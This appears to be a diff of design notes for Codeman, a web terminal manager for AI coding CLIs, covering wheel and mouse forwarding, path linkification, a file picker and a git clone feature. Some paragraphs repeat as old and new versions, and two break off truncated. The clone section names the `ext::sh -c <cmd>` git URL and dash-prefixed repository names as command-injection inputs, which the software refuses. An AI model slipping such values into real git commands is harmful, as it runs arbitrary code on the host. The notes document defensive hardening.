⚠️ **What a mouse-DECSET strip (full or mouse) removes, it must REMEMBER.** Stripping the mouse DECSETs means xterm's `modes.mouseTrackingMode` is permanently `'none'` for those modes, so the browser hand-encodes click reports to compensate (`_sendSyntheticSgrTap`). With no state to consult it did that on EVERY click, which delivered mouse reports to programs that never asked for them: the same pane runs a plain shell whenever the CLI has exited or a `shell` was started inside a claude-mode session, and a shell prints the report as literal text (`[<0;88;20M`), garbling the next line typed. `_recordStrippedMouseMode()` therefore records each stripped sequence as it goes and publishes `cliMouseTracking` through `toState()`, and `_shouldReportMouseToCli()` requires it. ⚠️ Only the TRACKING modes count (1000/1001/1002/1003): 1005/1006 select an ENCODING and 1007 is alt-scroll, and counting those would put the stray reports straight back. ⚠️ The change broadcasts IMMEDIATELY rather than through `broadcastSessionStateDebounced`, because the flag flips when a dialog opens and the user can click that dialog inside the 500ms debounce window. Measured on a live claude 2.x: the CLI holds a tracking mode on continuously in fullscreen (so clicks keep being reported exactly as before; the default inline renderer holds none, measured on 2.1.283 even with `/model` open), while a bash prompt in the same stripped mode reports nothing. Fails toward silence: after a server restart the flag is false until the CLI re-emits, which tmux does at client attach.
**Wheel forwarding requires observed mouse tracking: Claude ≥ 2.1.187, tracked Codex or tracked Copilot** (`terminal-ui.js:_shouldForwardWheelToApp`). The original #227 measurement remains valid for **Codex 0.147.0 inline**: `alternate_on=0`, `mouse_any_flag=0`, growing tmux history, and SGR wheel reports do nothing. Claude 2.1.280 inline similarly reports `alternate_on=0`, `mouse_any_flag=0`; forwarding there swallows gestures, so it keeps local scrollback. Fullscreen Claude (`CLAUDE_CODE_NO_FLICKER=1` or `"tui": "fullscreen"`) enables mouse tracking and accepts reports. **Fresh Codex 0.163.0 fullscreen measurement (2026-10-18, isolated local tmux pane)**: `alternate_on=1`, `mouse_any_flag=1`; one `\x1b[<64;10;10M` report moves the transcript one row upward, and `\x1b[<65;10;10M` restores the original screen. This is capability evidence, not a minimum-version promise: untracked Codex (including a 0.162.0 measurement (2026-10) with `mouse_any_flag=0`) keeps local history or the hollow-pane paging fallback. Codex does not publish the Claude-only CLI version field, so its gate requires the observed flag rather than a Claude version. The registry records this as `wheelForward.mode: 'always'` (observed mouse tracking is still required); Claude remains `version-gated`. A stale/false flag after startup cannot authorize forwarding. ⚠️ A strip mode alone is not evidence that a CLI consumes SGR reports. Verify with a real `\x1b[<64;c;rM` write into a live pane before adding a mode here. Hand-encoded SGR taps remain independently gated by `_shouldReportMouseToCli()`; the older #325 no-op measurement describes untracked inline Codex and must not be generalized to newer tracked fullscreen renderers. Shift/local-history opt-outs and xterm's native mouse/alternate-screen handling remain intact.
**Wheel forwarding requires observed mouse tracking: Claude ≥ 2.1.187, tracked Codex, tracked Copilot or tracked Pi** (`terminal-ui.js:_shouldForwardWheelToApp`). The original #227 measurement remains valid for **Codex 0.147.0 inline**: `alternate_on=0`, `mouse_any_flag=0`, growing tmux history, and SGR wheel reports do nothing. Claude 2.1.280 inline similarly reports `alternate_on=0`, `mouse_any_flag=0`; forwarding there swallows gestures, so it keeps local scrollback. Fullscreen Claude (`CLAUDE_CODE_NO_FLICKER=1` or `"tui": "fullscreen"`) enables mouse tracking and accepts reports. **Fresh Codex 0.163.0 fullscreen measurement (2026-10-18, isolated local tmux pane)**: `alternate_on=1`, `mouse_any_flag=1`; one `\x1b[<64;10;10M` report moves the transcript one row upward, and `\x1b[<65;10;10M` restores the original screen. This is capability evidence, not a minimum-version promise: untracked Codex (including a 0.162.0 measurement (2026-10) with `mouse_any_flag=0`) keeps local history or the hollow-pane paging fallback. Codex does not publish the Claude-only CLI version field, so its gate requires the observed flag rather than a Claude version. The registry records this as `wheelForward.mode: 'always'` (observed mouse tracking is still required); Claude remains `version-gated`. A stale/false flag after startup cannot authorize forwarding. ⚠️ A strip mode alone is not evidence that a CLI consumes SGR reports. Verify with a real `\x1b[<64;c;rM` write into a live pane before adding a mode here. Hand-encoded SGR taps remain independently gated by `_shouldReportMouseToCli()`; the older #325 no-op measurement describes untracked inline Codex and must not be generalized to newer tracked fullscreen renderers. Shift/local-history opt-outs and xterm's native mouse/alternate-screen handling remain intact.
**Copilot also receives forwarded reports** (1.0.95 measured in tmux: alt screen, `mouse_any_flag=1`): its mouse DECSETs are stripped so a drag selects, which also stops xterm encoding the wheel for it, so `_shouldForwardWheelToApp` sends the same SGR reports by hand while `cliMouseTracking` is true; six `\x1b[<64;…M` reports moved its transcript 18 lines, a phone swipe takes the same gate, and there is NO version gate.
**Pi is the same shape, and the reason it moved to the mouse strip** (fullscreen is the default `tuiMode` since 1.0.0; 1.0.0, 1.1.0, 1.4.0 and 1.5.0 measured in tmux with default settings: `alternate_on=1`, `history_size=0`, `mouse_any_flag=1`, SGR): pi enables mouse tracking ONCE at start. Left on the narrow strip, the wheel worked only until Codeman replayed the buffer (tab switch, reload): the replay carries no DECSETs, xterm's `mouseTrackingMode` fell to `'none'` with `baseY` 0, and the wheel hit an empty local buffer until a resize made pi redraw. Measured on a fresh session: `drag` right after the first select, `none` after a tab switch and after a reload. With the mouse strip the server records the tracking (`cliMouseTracking`), which survives the replay; `_shouldForwardWheelToApp` forwards by hand while it is true. One SGR wheel report moves pi's transcript one row at a low rate, and pi's `fullscreenWheelScrollLines` default accelerates a fast spin. Under `tuiMode: regular`, the default below 1.0.0, pi is inline and emits no mouse DECSET, so the strip finds nothing and the flag stays false; a pi from 0.84.0 set to fullscreen does emit them (0.84.1 and 0.99.2 with `--tui-mode fullscreen` measured: `alternate_on=1`, `mouse_any_flag=1`, `mouse_sgr_flag=1`; default settings all 0), and the flag covers that case. ⚠️ Pi deliberately has no `transcriptPageKeys`: fullscreen pi does page on PageUp/PageDown, but pi binds those keys to its editor in regular mode too, where they page nothing and move the caret of a multi-line draft, so the hollow-buffer fallback sent the next keystroke to the wrong line (measured on 1.1.0, 1.4.0 and 1.5.0). The fallback would need a capability to tell the two modes apart, since `_localScrollbackIsHollow` takes no id. The cost: a fullscreen pi with "Wheel scrolls local history" on has no paging fallback, so the wheel does nothing there. That is an accepted exception to "A false gate on a hollow pane must not mean a DEAD gesture" below.
Codex 0.163.0 approval check in that isolated read-only/on-request session: the "Would you like to run the following command?" prompt remained on `1. Yes, proceed` after SGR wheel-up and wheel-down over both the transcript and approval option rows 36/37; the requested marker file was not created. The background transcript can scroll while the approval prompt remains fixed. Codeman does alert on this prompt: `src/web/screen-blocked.ts` reads Codex dialogs off the pane (`capabilities.workDetect.blockedLine`) and broadcasts `hook:permission_prompt`, which `_onHookPermissionPrompt` (settings-ui.js) records and `updateTabAlertFromHooks` (app.js) turns into the `'action'` tab alert, and both page-key fallbacks check it. The SGR wheel path deliberately does not consult that alert, because this measurement showed wheel reports leave the approval selection unchanged. Native Codex owns its approval selection; do not mistake a hook-only unit fixture for approval-dialog evidence.
Native wheel travel retains upstream pixel/line/page units (100 px = 4 lines; Firefox 3-line events = 3 lines); no one-tick-per-event policy is introduced here. A fresh native gesture at or above 0.1 row (2.5px) rounds its opening travel to at least one tick (subject to the per-event cap), so an isolated 4px mouse click responds, 40px sends two ticks and 120px sends five. The signed remainder is carried forward; travel discarded by the per-event cap does not become a backlog. The signed remainder is debt repaid by subsequent same-direction events: ten 2.5px events still total one tick. Debt/fractions expire after a 150ms gap; a reversal inside that gap discards the old debt without another pre-payment. Sub-threshold jitter does not pre-pay. The first native report of each tab visit bypasses the 40 ms batching timer; later reports coalesce and only unsent bytes can be cancelled on reversal. Every queued batch belongs to its originating session, so switching tabs cannot send its bytes into the newly selected pane. Zero-delta events leave pending movement untouched. Tiles use the same helpers and their own queue/session.
**Wheel/touch forwarding is NOT gated on viewport-at-bottom** (#205, `terminal-ui.js:_shouldForwardWheelToApp`): for sessions verified to scroll their own transcript on SGR wheel reports (Claude ≥ 2.1.187 or tracked Codex, with observed `cliMouseTracking`; see the native measurement above), the plain wheel AND touch drags forward as coalesced SGR reports (`_forwardScrollToApp` → `_sendSyntheticSgrWheel`, 40ms batches after the first native report, 5-tick per-event cap; no aggregate byte/tick limit). It used to gate on the viewport being at the bottom so both scrollbacks stayed reachable, but a repaint-mode CLI keeps NO terminal scrollback of its own — xterm's buffer holds only replayed repaint frames, so local scrolling drags the CLI's pinned prompt box up the screen over stale frames; and `scrollToLastNonEmptyLine()` routinely parked the viewport off-bottom, silently pinning the wheel to local. Forwarding now snaps the viewport home first (SGR coordinates address the LIVE screen — a report computed from a scrolled-up viewport would hit-test the wrong row). Local scrollback remains on Shift+wheel and the `terminalWheelLocalScrollback` opt-out (both also cover touch via the shared gate; touch has no Shift, so the setting is its only local pin). Touch asks `_shouldForwardTouchToApp()`, which is that gate plus one branch: in any session mode, a drag and its fling momentum also forward as SGR wheel reports while xterm itself tracks the mouse (`modes.mouseTrackingMode` other than `none`/`x10`) with SGR encoding (`_core.coreMouseService.activeEncoding === 'SGR'`, an xterm private pinned by `test/xterm-private-api.test.ts`; DEFAULT, X10 and SGR-pixel apps fail closed). xterm encodes a native wheel for such an app itself, but the touch listeners consume the drag, and a local scroll shows nothing useful: a direct-PTY app is on xterm's alternate screen, and in a tmux-backed session xterm stays in the normal buffer holding stale tmux repaints. `_wheelScrollLinesFloat()` normalizes `deltaMode` (Firefox fires LINE deltas ≈3/notch — read as pixels that rounded to 0 and fell to the ±1 fallback, ~4× too slow; PAGE deltas scale by `terminal.rows`) while keeping the #154 Shift-axis trap (macOS trackpads put Shift+scroll magnitude on deltaX). Tests: `test/terminal-touch-tap.test.ts`.
**A false gate on a hollow pane must not mean a DEAD gesture** (#205 round 2, `_maybePageCliTranscript`): every way `_shouldForwardWheelToApp()` returns false leaves a repaint-mode pane scrolling a buffer that has nothing in it (`baseY === 0`) — the version probe came back empty, the CLI really is older than 2.1.187, the `cliMouseTracking` flag is unset (inline claude, or fullscreen right after a server restart), or the user turned on `terminalWheelLocalScrollback`. **opencode is the fifth case, and the gate is false there by design**: its TUI runs on the ALTERNATE SCREEN (1.18.31 measured: tmux `alternate_on=1`, `history_size=0`), so the buffer is hollow, and it IGNORES SGR wheel reports entirely (six `\x1b[<64;…M` reports against an idle pane left the capture byte-identical) while still paging its transcript on PageUp/PageDown (`messages_page_up/down`) — so paging is the only gesture that can reach it, and without it the wheel was silently dead in every opencode tab. The 1.12.0 retest reported exactly that shape for Claude: a wheel that did nothing at all while Fn+Up (PageUp) paged back through intact text, which is the proof that the CLI's own history and the PTY input path were both fine. So under the guard (`_localScrollbackIsHollow()`: the `transcriptPageKeys` capability, gate false, `baseY === 0`) wheel and touch travel is translated into coalesced `\x1b[5~` / `\x1b[6~` through the same 40ms queue as the SGR reports, at half a screen of travel per page key (the key jumps a whole screen; a 1:1 mapping was unusably slow with a discrete wheel). ⚠️ **`baseY === 0` with a pane that still REPORTS scrollback is not hollow, it is unloaded** (`paneHistoryLines` > 0, the last capture's `#{history_size}`): after a server restart the byte recording a tab switch replays (`?tail=`) holds only the tmux client's attach repaint, which scrolls nothing, so an inline Claude session landed here and the page keys moved its composer cursor instead of the transcript (measured 2026-10-21 on the second select after a restart, until a page reload). That case falls through to local scrolling, whose top-of-buffer pull (`_maybeLoadMoreHistoryOnScroll` to `_maybeRefetchFullHistory`) fetches `full=1`, and the gesture scrolls on from there once the pull lands (a slow response can outlive the gesture; the next one scrolls); 0 and unknown counts keep paging (fullscreen Claude, codex, opencode; a remote pane reports no count and a Docker pane 0). Page keys already queued and the gesture debt are dropped on the way out, since they belong to the abandoned route. The `[scroll]` line prints `paneHistoryLines` next to `localScrollbackRows`, and a count turning positive re-logs, so the two states read apart. The trade-off is accepted: while that pull is in flight or has failed, the gesture scrolls an empty buffer and the next upward gesture after the 4 s cooldown retries it, where paging would have moved the composer. An error envelope (`success: false`) records no count, in the pull, the refresh path and the tab switch alike, so one failed capture does not hand the gesture back to paging. ⚠️ The first event of a gesture pages AT ONCE, for any opening event under one page, and the travel it skipped is owed back by the rest of the gesture (one page per half screen still). Waiting for half a screen first meant an ordinary trackpad flick (well under 19 rows on a 38-row pane) sent nothing at all, and a mouse sent nothing for its first 5 notches (100 px is 4 rows; 7 on Firefox's 3-line notches, issue #697). An opener of `PAGE_KEY_IMMEDIATE_MAX_ROWS` (2) rows or more is treated as a mouse-wheel notch and tagged `notch`: its debt lasts `PAGE_KEY_NOTCH_DEBT_MS` (3 s) instead of `PAGE_KEY_DEBT_MS`, so slow notches repay one page instead of each paging a full screen; past 3 s of quiet each notch pages. The signal is the opener's size, not the device (a touch contact whose first touchmove is 2 rows or more, or a brisk flick that opens large, is treated the same). A new opener keeps same-direction travel left over from the gesture before, so a run of notches still pages once per half screen of travel. ⚠️ What starts a NEW gesture (and so may pre-pay) is narrow, because every boundary is another free page: (1) a TOUCH CONTACT is one gesture, never split by time: the touch paths tag every call, touchmove and momentum frames alike, with `touchId` (one per touchstart), and a different id (or a wheel event after a touch) is a boundary. touchmove only calls once per whole cell of finger travel, so a slow drag arrives as single lines further apart than any gap; on the gap alone 12 lines at 170 ms each sent 12 PageUps (measured through the real listeners, `test/terminal-touch-paging.browser.test.ts`). (2) Outside a contact, 150 ms of quiet (`PAGE_KEY_GESTURE_GAP_MS`), stretched to one second (`PAGE_KEY_DEBT_MS`), or `PAGE_KEY_NOTCH_DEBT_MS` (3 s) for a notch-sized opener, while a pre-paid page is still owed in the SAME direction, so slow smalLine truncated
**A false gate on a hollow pane must not mean a DEAD gesture** (#205 round 2, `_maybePageCliTranscript`): every way `_shouldForwardWheelToApp()` returns false leaves a repaint-mode pane scrolling a buffer that has nothing in it (`baseY === 0`) — the version probe came back empty, the CLI really is older than 2.1.187, the `cliMouseTracking` flag is unset (inline claude, or fullscreen right after a server restart), or the user turned on `terminalWheelLocalScrollback`. ⚠️ Pi is an accepted exception: it declares no `transcriptPageKeys`, so a false gate on a fullscreen pi stays dead, for the reason in "Pi is the same shape" above. **opencode is the fifth case, and the gate is false there by design**: its TUI runs on the ALTERNATE SCREEN (1.18.31 measured: tmux `alternate_on=1`, `history_size=0`), so the buffer is hollow, and it IGNORES SGR wheel reports entirely (six `\x1b[<64;…M` reports against an idle pane left the capture byte-identical) while still paging its transcript on PageUp/PageDown (`messages_page_up/down`) — so paging is the only gesture that can reach it, and without it the wheel was silently dead in every opencode tab. The 1.12.0 retest reported exactly that shape for Claude: a wheel that did nothing at all while Fn+Up (PageUp) paged back through intact text, which is the proof that the CLI's own history and the PTY input path were both fine. So under the guard (`_localScrollbackIsHollow()`: the `transcriptPageKeys` capability, gate false, `baseY === 0`) wheel and touch travel is translated into coalesced `\x1b[5~` / `\x1b[6~` through the same 40ms queue as the SGR reports, at half a screen of travel per page key (the key jumps a whole screen; a 1:1 mapping was unusably slow with a discrete wheel). ⚠️ **`baseY === 0` with a pane that still REPORTS scrollback is not hollow, it is unloaded** (`paneHistoryLines` > 0, the last capture's `#{history_size}`): after a server restart the byte recording a tab switch replays (`?tail=`) holds only the tmux client's attach repaint, which scrolls nothing, so an inline Claude session landed here and the page keys moved its composer cursor instead of the transcript (measured 2026-10-21 on the second select after a restart, until a page reload). That case falls through to local scrolling, whose top-of-buffer pull (`_maybeLoadMoreHistoryOnScroll` to `_maybeRefetchFullHistory`) fetches `full=1`, and the gesture scrolls on from there once the pull lands (a slow response can outlive the gesture; the next one scrolls); 0 and unknown counts keep paging (fullscreen Claude, codex, opencode; a remote pane reports no count and a Docker pane 0). Page keys already queued and the gesture debt are dropped on the way out, since they belong to the abandoned route. The `[scroll]` line prints `paneHistoryLines` next to `localScrollbackRows`, and a count turning positive re-logs, so the two states read apart. The trade-off is accepted: while that pull is in flight or has failed, the gesture scrolls an empty buffer and the next upward gesture after the 4 s cooldown retries it, where paging would have moved the composer. An error envelope (`success: false`) records no count, in the pull, the refresh path and the tab switch alike, so one failed capture does not hand the gesture back to paging. ⚠️ The first event of a gesture pages AT ONCE, for any opening event under one page, and the travel it skipped is owed back by the rest of the gesture (one page per half screen still). Waiting for half a screen first meant an ordinary trackpad flick (well under 19 rows on a 38-row pane) sent nothing at all, and a mouse sent nothing for its first 5 notches (100 px is 4 rows; 7 on Firefox's 3-line notches, issue #697). An opener of `PAGE_KEY_IMMEDIATE_MAX_ROWS` (2) rows or more is treated as a mouse-wheel notch and tagged `notch`: its debt lasts `PAGE_KEY_NOTCH_DEBT_MS` (3 s) instead of `PAGE_KEY_DEBT_MS`, so slow notches repay one page instead of each paging a full screen; past 3 s of quiet each notch pages. The signal is the opener's size, not the device (a touch contact whose first touchmove is 2 rows or more, or a brisk flick that opens large, is treated the same). A new opener keeps same-direction travel left over from the gesture before, so a run of notches still pages once per half screen of travel. ⚠️ What starts a NEW gesture (and so may pre-pay) is narrow, because every boundary is another free page: (1) a TOUCH CONTACT is one gesture, never split by time: the touch paths tag every call, touchmove and momentum frames alike, with `touchId` (one per touchstart), and a different id (or a wheel event after a touch) is a boundary. touchmove only calls once per whole cell of finger travel, so a slow drag arrives as single lines further apart than any gap; on the gap alone 12 lines at 170 ms each sent 12 PageUps (measured through the real listeners, `test/terminal-touch-paging.browser.test.ts`). (2) Outside a contact, 150 ms of quiet (`PAGE_KEY_GESTURE_GAP_MS`), stretchedLine truncated
**Why the wheel went where it went is LOGGED** (`_logScrollRouting`): one console line per session per distinct decision — `[scroll] <id> → forward-sgr|page-keys|page-keys-dialog-open|page-keys-menu-open|local-scrollback|repull-refused-downgrade (mode=…, cliVersion=…, localScrollbackOptOut=…, mouseTracking=…, localScrollbackRows=…)`. #205 ran two rounds of remote guesswork over questions this line answers directly; keep it when touching the routing.
@@ -403,7 +423,7 @@ A file path an agent prints is a link on both surfaces it can appear on, and cli
**One pattern, two consumers.** `FILE_PATH_LINK_PATTERN` / `absoluteFilePathPattern()` live in `constants.js`; the xterm link provider (`registerFilePathLinkProvider`, terminal-ui.js) and the response viewer's `_linkifyFilePaths()` (app.js) both reach it through `findFilePathLinks()` (below), which builds a fresh instance per call. ⚠️ Fresh per call, never one shared object: `lastIndex` is per-object state on a `/g` regex. The pattern is anchored on a known absolute root and terminated by a known extension, so a fraction (`3/4`) or a date can't match and trailing punctuation stays out. Roots include `Users` and `mnt`, without which nothing was clickable on macOS or WSL. The linear-time guard and the "terminal-ui builds from the factory" structural check are in `test/link-provider-regex.test.ts`.
**The chat linkifier walks text nodes.** `_linkifyFilePaths()` builds anchors with `createElement`/`textContent` on the rendered subtree, never by rebuilding sanitized markup as a string — the source is model output. Subtrees already inside an `<a>` are skipped (marked autolinks URLs; a nested anchor would swallow the click), and the anchor's text is the path verbatim so "copy code" still yields what the agent printed. Before the walk it also rewrites existing anchors whose href is a scheme-less, non-`//` path (Codex cites files as `[label](/abs/path.json)`, which otherwise opens as a same-origin URL) into the same `a.rv-path` shape, plus `rv-path-link` so the label keeps the prose font, on purpose without `FILE_PATH_LINK_PATTERN`'s root and extension filter: the href is a link target the agent chose. `test/response-viewer-file-links.test.ts` pins both properties and the anchor rewrite.
**The chat linkifier walks text nodes.** `_linkifyFilePaths()` builds anchors with `createElement`/`textContent` on the rendered subtree, never by rebuilding sanitized markup as a string — the source is model output. Subtrees already inside an `<a>` are skipped (marked autolinks URLs; a nested anchor would swallow the click), and the anchor's text is the path verbatim so "copy code" still yields what the agent printed. Before the walk it also rewrites existing anchors whose href is a scheme-less, non-`//` path (Codex cites files as `[label](/abs/path.json)`, which otherwise opens as a same-origin URL) into the same `a.rv-path` shape, plus `rv-path-link` so the label keeps the prose font, on purpose without `FILE_PATH_LINK_PATTERN`'s root and extension filter: the href is a link target the agent chose. The anchors the walk builds carry `dir="ltr"`, so a path at the head of a right-to-left sentence does not decide that sentence's direction; a rewritten link keeps no `dir`, since its label is prose (#715). ⚠️ `_applyBlockDirection()` runs after the linkifier in both consumers, never before it: a block already carrying `dir="auto"` re-resolves its direction on every text node replaced under it. `test/response-viewer-file-links.test.ts` pins both properties and the anchor rewrite, `test/response-viewer-rtl.test.ts` the direction and the order.
**Out-of-workspace paths go through the attachment routes, not the file routes.** `file-content`/`file-raw` resolve against `workingDir` and 404 anything that escapes it, which is correct and unchanged — but the paths agents most often print (a `/tmp` capture, Claude's own scratchpad, another checkout) are exactly that, so clicking one used to report "File not found" for a file sitting on disk. `openFilePreview()` now detects the case (`_isExternalPreviewPath`, a string compare for ROUTING only; the real decision stays server-side) and registers the path via `POST /api/sessions/:id/attachments` first, rendering by id. ⚠️ That registration passes `notify: false`, which suppresses ONLY the `attachment:detected` broadcast — the guard, the registry entry and the by-id routes are identical either way. Without it every click also popped an attachment card announcing the file already filling the screen. ⚠️ The click is an explicit user action on the **explicit, Origin-guarded** registration route, which is why it may cross the workspace boundary at all; the passive magic-link scanner stays force-confined. A type outside `SUPPORTED_ATTACHMENT_EXTENSIONS` (`.svg`, `.bmp`) is refused with a message naming what IS previewable, rather than the registry's own policy term.
@@ -435,7 +455,7 @@ The terminal provider scans `terminalLinkLine()`, which extends `terminalPathLin
### Filesystem path picker
**Filesystem path picker** (Link Existing "Browse" button + the extended mobile keyboard's `📁 Path` key): a lazy one-directory-at-a-time browser over `GET /api/filesystem/browse`, with `GET /api/filesystem/preview` serving the tapped file. It starts at the active session's working directory (falling back to the Codeman Cases root, then `/mnt/d`, then the first root), hides dot entries, and inserts the chosen path **without** Enter so the prompt is not submitted. The companion `⌫ All` key clears only the current unsent prompt buffer and must never emit the agent's `/clear` command. **New folder** (opt-in per caller, `allowNewFolder`; Link Existing has it): `POST /api/filesystem/mkdir` `{ path, name, sessionId? }` creates ONE folder (non-recursive) directly inside a folder the picker may browse, resolved through the same roots, ownership and blocked-tree rules as browse (`403` outside them or in a blocked tree or unwritable, `404` missing parent, `409` exists, `400` a parent that is a file, or a name outside letters, digits, space and `_ - . ~`, containing `..`, starting with a dot or a tilde or over 255 bytes, so every name it accepts is one Link Existing accepts, and `400` a parent that is a cases directory, where a folder is already a case (Add Case > New Case makes one there); `showHidden` is forwarded like browse's); the picker reloads the folder and selects the new one. A picker that browses somewhere this route cannot create in (the container-workdir picker, `fetchListing`) must not set the flag.
**Filesystem path picker** (every Add Case "Browse" button: Link Existing, Create New's custom folder, Clone Repo, Docker; + the extended mobile keyboard's `📁 Path` key): a lazy one-directory-at-a-time browser over `GET /api/filesystem/browse`, with `GET /api/filesystem/preview` serving the tapped file (Docker's Container Workdir picker passes its own `fetchListing` over `POST /api/docker-cases/browse` instead, admin-only, which always lists dot entries and skips the allowlist, blocked-tree and ownership rules below). It starts at the form field's value or, for the `📁 Path` key, the active session's working directory (falling back to the Codeman Cases root, then `/mnt/d`, then the first root) and hides dot entries. A Browse fills its form field; the `📁 Path` key inserts the chosen path **without** Enter so the prompt is not submitted. The companion `⌫ All` key clears only the current unsent prompt buffer and must never emit the agent's `/clear` command. **New folder** (opt-in per caller, `allowNewFolder`; Link Existing, Create New's custom folder and Clone Repo's parent folder have it): `POST /api/filesystem/mkdir` `{ path, name, sessionId? }` creates ONE folder (non-recursive) directly inside a folder the picker may browse, resolved through the same roots, ownership and blocked-tree rules as browse (`403` outside them or in a blocked tree or unwritable, `404` missing parent, `409` exists, `400` a parent that is a file, or a name outside letters, digits, space and `_ - . ~`, containing `..`, starting with a dot or a tilde or over 255 bytes, so every name it accepts is one Link Existing accepts, and `400` a parent that is a cases directory, where a folder is already a case (Add Case > Create New with no custom folder makes one there); `showHidden` is forwarded like browse's); the picker reloads the folder and selects the new one. A picker that browses somewhere this route cannot create in (the container-workdir picker, `fetchListing`) must not set the flag.
⚠️ **This is a second file-serving surface, so it carries the same confinement burden as [Attachments](#attachments) and does not inherit it automatically.** Traversal is allowlisted to Home, `CASES_DIR`, `/mnt/d`, or extra roots explicitly configured via `CODEMAN_FILE_PICKER_ROOTS`; sensitive trees are blocked and symlink escapes are rejected after `realpath` resolution rather than before. Without the realpath step a symlink inside an allowed root would walk straight out of it. `preview` reuses the shared conversion cache and the **global** `document-conversion-limiter`, which is what stops N concurrent large-document previews from forking N multi-minute converter processes. Content types are pinned: images and PDF inline, DOCX/PPTX through the converters, and Markdown/TXT/JSON as inert `text/plain` (never `text/html`, which would be stored XSS on our own origin). Size caps are 2MB for text and 50MB for binary/document previews.
@@ -474,7 +494,7 @@ Tests: `test/file-preview-markdown.test.ts` (jsdom-in-vm, pins every rule above)
### Clone a repository as a case
**Clone Repo tab** (issue #236, proposed by @DodgyBadger): `POST /api/cases/clone` clones a public repository into the caller's case space and registers it as a normal local case; `POST /api/cases/clone-preflight` answers "can this be cloned anonymously, and what refs does it have?" while the user is still typing. Core in `src/git-clone.ts`, split into a PURE half (URL parse, argv/env, `ls-remote` parse, stderr classification) and a thin IO half (`probeGitRemote`, `cloneRepository`). An optional `path` (the **Clone into a custom folder** checkbox) is the folder the repository is cloned INTO, exactly as given (the case name adds no subfolder), and it registers a LINKED case, the same way `POST /api/cases` with a `path` does: it is judged by `prepareNewCasePath()` (`web/case-path.ts`: blocked trees, symlinks, parent must exist), is admin-only in multi-user mode (it writes an absolute path into the shared linked-cases registry), and must be empty or not exist yet. An existing empty folder is cloned into directly (`CloneOptions.intoEmptyDir`: no temporary sibling and no rename, so a mount point works; a failed attempt empties it again but never removes it); a folder with anything in it is refused. Deleting such a case unlinks it and never removes the files. If the registry write fails after git finished, the folder is kept and the error says where it is.
**Clone Repo tab** (issue #236, proposed by @DodgyBadger): `POST /api/cases/clone` clones a public repository into the caller's case space and registers it as a normal local case; `POST /api/cases/clone-preflight` answers "can this be cloned anonymously, and what refs does it have?" while the user is still typing. Core in `src/git-clone.ts`, split into a PURE half (URL parse, argv/env, `ls-remote` parse, stderr classification) and a thin IO half (`probeGitRemote`, `cloneRepository`). An optional `path` is the folder the repository is cloned INTO, exactly as given (the API adds no case-name subfolder; the **Clone into a custom folder** field on the page is a parent, so the tab sends `<folder>/<case name>`, see UI below), and it registers a LINKED case, the same way `POST /api/cases` with a `path` does: it is judged by `prepareNewCasePath()` (`web/case-path.ts`: blocked trees, symlinks, parent must exist), is admin-only in multi-user mode (it writes an absolute path into the shared linked-cases registry), and must be empty or not exist yet. An existing empty folder is cloned into directly (`CloneOptions.intoEmptyDir`: no temporary sibling and no rename, so a mount point works; a failed attempt empties it again but never removes it); a folder with anything in it is refused. Deleting such a case unlinks it and never removes the files. If the registry write fails after git finished, the folder is kept and the error says where it is. The name is checked again inside `mutateLinkedCases()` when the entry is written, so of two clones that claim one name only the first to finish links it; the other answers 409 `ALREADY_EXISTS` and keeps its folder.
- ⚠️ **The URL is a code-execution surface, which is why it is parsed rather than forwarded.** `ext::sh -c <cmd>` makes git run an arbitrary command as its transport, and ANY `<name>::<payload>` dispatches to a `git-remote-<name>` helper, so every `::` form is refused outright. A repository starting with `-` is read by git as a flag; that is rejected AND every spawn puts `--` before the operands, because either defence alone is one edit away from being a hole. Spawns are argv arrays, never a shell (unlike `remote-hosts.ts`, which does build a shell line and must `shellescape`). The Zod schema deliberately only length-bounds `repository` — a weaker regex duplicate of `parseGitRepositoryUrl` would be the copy that drifts.
- ⚠️ **Non-interactive or it hangs the request.** The clone is synchronous by design (no job store, no polling, no cancellation surface), so an invisible credential prompt would pin an open HTTP request until the timeout. `gitNonInteractiveEnv()` closes all four prompt paths at once: `GIT_TERMINAL_PROMPT=0`, empty `GIT_ASKPASS`/`SSH_ASKPASS` + `SSH_ASKPASS_REQUIRE=never` + empty `DISPLAY`, `GCM_INTERACTIVE=never`, and `ssh -oBatchMode=yes`. `HOME`/`PATH` are inherited on purpose — a user whose own agent or credential helper already works keeps working (so a private repo may well clone; Codeman just never collects or stores credentials, and refuses a `user:password@` URL). ⚠️ In multi-user mode a NON-ADMIN's clone and preflight run with `git -c credential.helper=` (`cloneWithoutCredentialHelpers`), because the helpers belong to the one server account every user shares; admins and single-user mode keep them. The Docker server image relies on exactly this: when built with the opt-in `CODEMAN_INSTALL_GH`/`CODEMAN_INSTALL_AZ` args it configures `gh` (github.com) and an `az`-backed helper (`docker/git-credential-azure-cli`, Azure DevOps) in its SYSTEM gitconfig, both silent until the user signs the CLI in, so a private clone there still fails fast rather than prompting.
@@ -485,9 +505,9 @@ Tests: `test/file-preview-markdown.test.ts` (jsdom-in-vm, pins every rule above)
- **Failure leaves nothing behind.** The destination is removed only when it did not exist before the attempt, and a pre-existing directory is refused rather than cloned into, so a failed clone never squats on a case name and never touches an existing tree.
- ⚠️ **Error detail comes from the LAST diagnostic line, not the first.** `git clone` opens with `Cloning into '<dest>'…`, so a first-line pick reported the destination path as the reason a bad branch failed (observed against a real remote). `NOT_FOUND` wording must also say "or private": GitHub answers "Repository not found" for a private repo and a typo alike when unauthenticated.
- **Multi-user**: NOT admin-gated, unlike `/api/cases/link` — it writes only inside the caller's own `resolveCasesDir`. The exception is a `local`-transport source (an absolute path or `file://`), which is admin-only there because per-user spaces live inside one `$HOME` and a local clone would read straight through that boundary.
- **UI** (`case-clone` tab in the Add Case modal): debounced preflight paints a verdict under the field, fills the case name from the parsed repo (until the user types their own), and turns the branch/tag field into a datalist of the remote's real refs. The **Brain** picker sets the toolbar run mode on success (gated by `isCliAvailable()`, like `#runModeMenu`), so Run already points at the chosen CLI; starting a session stays opt-in. The tab hides itself when the server reports no `git` (injected via `window.__codemanCliAvailable`).
- **UI** (`case-clone` tab in the Add Case modal): the **Clone into a custom folder** field is a PARENT folder, like Create New's: the tab sends `<folder>/<case name>` as `path` (`_cloneTargetPath()`), so the API's `path` stays the exact target; debounced preflight paints a verdict under the field, fills the case name from the parsed repo (until the user types their own), and turns the branch/tag field into a datalist of the remote's real refs. The **Brain** picker sets the toolbar run mode on success (gated by `isCliAvailable()`, like `#runModeMenu`), so Run already points at the chosen CLI; starting a session stays opt-in. The tab hides itself when the server reports no `git` (injected via `window.__codemanCliAvailable`).
